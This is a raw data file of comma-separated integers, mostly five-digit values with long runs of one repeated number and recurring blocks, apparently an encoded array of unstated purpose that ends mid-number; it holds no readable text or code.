15,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,65804,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,48653,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,60153,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,45477,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45496,45525,45509,45539,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,64785,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45555,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,72217,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,72644,41363,41542,41542,41542,41542,41542,65493,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,37318,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,38529,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,45576,74434,37318,74579,74583,74448,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,68588,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,45596,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,37318,37318,45625,45661,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,45833,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,45715,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,45680,45684,37318,37318,45700,45732,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,3852